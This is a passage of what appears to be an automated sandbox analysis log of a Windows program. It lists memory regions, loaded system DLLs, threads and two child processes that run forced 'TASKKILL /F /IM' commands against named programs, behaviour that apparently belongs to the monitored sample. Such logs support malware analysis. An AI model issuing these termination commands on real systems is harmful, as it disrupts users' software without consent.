"c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 2564 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2565 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2566 start_va = 0x6a710000 end_va = 0x6a7a5fff entry_point = 0x6a72f8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 2567 start_va = 0x6a8c0000 end_va = 0x6a8d7fff entry_point = 0x6a8c1335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Thread: id = 166 os_tid = 0x874 Thread: id = 167 os_tid = 0x958 Thread: id = 168 os_tid = 0x864 Thread: id = 169 os_tid = 0x868 Thread: id = 170 os_tid = 0x86c Process: id = "18" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x5b150000" os_pid = "0x87c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM fdlauncher.exe /IM fdlauncher.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2568 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2569 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2570 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2571 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2572 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2573 start_va = 0xb0000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 2574 start_va = 0x190000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 2575 start_va = 0xe10000 end_va = 0xe25fff entry_point = 0xe15c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 2576 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2577 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2578 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2579 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2580 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2581 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2582 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2583 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2584 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2585 start_va = 0x350000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 2586 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2587 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2588 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2589 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 2590 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 2591 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2592 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2593 start_va = 0xf0000 end_va = 0x156fff entry_point = 0xf0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2594 start_va = 0x270000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 2595 start_va = 0x550000 end_va = 0x64ffff entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 2596 start_va = 0x6a8a0000 end_va = 0x6a98afff entry_point = 0x6a8a13ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 2597 start_va = 0x6a990000 end_va = 0x6a99efff entry_point = 0x6a9912a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 2598 start_va = 0x6a9a0000 end_va = 0x6a9a8fff entry_point = 0x6a9a15a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 2599 start_va = 0x6a9b0000 end_va = 0x6a9c0fff entry_point = 0x6a9b1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 2600 start_va = 0x6a9d0000 end_va = 0x6aa04fff entry_point = 0x6a9d13d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 2601 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 2602 start_va = 0x73e30000 end_va = 0x73e3cfff entry_point = 0x73e311e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 2603 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 2604 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 2605 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 2606 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2607 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2608 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2609 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2610 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2611 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2612 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2613 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2614 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2615 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2616 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2617 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2618 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2619 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2620 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2621 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2622 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2623 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2624 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2625 start_va = 0x650000 end_va = 0x7d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 2626 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2627 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2628 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2629 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2630 start_va = 0x80000 end_va = 0x83fff entry_point = 0x80000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 2631 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2632 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 2633 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 2634 start_va = 0x1f0000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 2635 start_va = 0x280000 end_va = 0x33ffff entry_point = 0x280000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 2636 start_va = 0x7e0000 end_va = 0x960fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 2637 start_va = 0x990000 end_va = 0x9cffff entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 2638 start_va = 0xaf0000 end_va = 0xb2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 2639 start_va = 0xe30000 end_va = 0x222ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e30000" filename = "" Region: id = 2640 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2641 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2642 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 2643 start_va = 0x6a830000 end_va = 0x6a88bfff entry_point = 0x6a852b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 2644 start_va = 0x6a890000 end_va = 0x6a899fff entry_point = 0x6a89149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 2645 start_va = 0x3d0000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 2646 start_va = 0xc90000 end_va = 0xccffff entry_point = 0x0 region_type = private name = "private_0x0000000000c90000" filename = "" Region: id = 2647 start_va = 0x6a800000 end_va = 0x6a828fff entry_point = 0x6a806b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 2648 start_va = 0x4e0000 end_va = 0x51ffff entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 2649 start_va = 0xbb0000 end_va = 0xbeffff entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 2650 start_va = 0x2230000 end_va = 0x24fefff entry_point = 0x2230000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2651 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2652 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 2653 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2654 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2655 start_va = 0xa20000 end_va = 0xa5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 2656 start_va = 0xc00000 end_va = 0xc3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 2657 start_va = 0xc40000 end_va = 0xc7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 2658 start_va = 0xcd0000 end_va = 0xd0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 2659 start_va = 0x6a7f0000 end_va = 0x6a7fefff entry_point = 0x6a7f21a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 2660 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2661 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2662 start_va = 0x6a730000 end_va = 0x6a747fff entry_point = 0x6a731335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 2663 start_va = 0x6a750000 end_va = 0x6a7e5fff entry_point = 0x6a76f8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Thread: id = 171 os_tid = 0x880 Thread: id = 172 os_tid = 0x860 Thread: id = 173 os_tid = 0x10c Thread: id = 174 os_tid = 0x11c Thread: id = 175 os_tid = 0x344 Process: id = "19" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x5b11a000" os_pid = "0x8b4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM GLDS.exe /IM GLDS.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2664 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2665 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2666 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2667 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2668 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2669 start_va = 0x110000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2670 start_va = 0x210000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2671 start_va = 0x920000 end_va = 0x935fff entry_point = 0x925c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 2672 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2673 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2674 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2675 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2676 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2677 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2678 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2679 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2680 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2681 start_va = 0x380000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 2682 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2683 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2684 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2685 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 2686 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 2687 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2688 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2689 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2690 start_va = 0x360000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 2691 start_va = 0x530000 end_va = 0x62ffff entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 2692 start_va = 0x6a7b0000 end_va = 0x6a89afff entry_point = 0x6a7b13ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 2693 start_va = 0x6a990000 end_va = 0x6a9c4fff entry_point = 0x6a9913d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 2694 start_va = 0x6a9d0000 end_va = 0x6a9defff entry_point = 0x6a9d12a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 2695 start_va = 0x6a9e0000 end_va = 0x6a9f0fff entry_point = 0x6a9e1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 2696 start_va = 0x6aa00000 end_va = 0x6aa0cfff entry_point = 0x6aa011e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 2697 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 2698 start_va = 0x73e30000 end_va = 0x73e38fff entry_point = 0x73e315a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 2699 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 2700 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 2701 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 2702 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2703 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2704 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2705 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2706 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2707 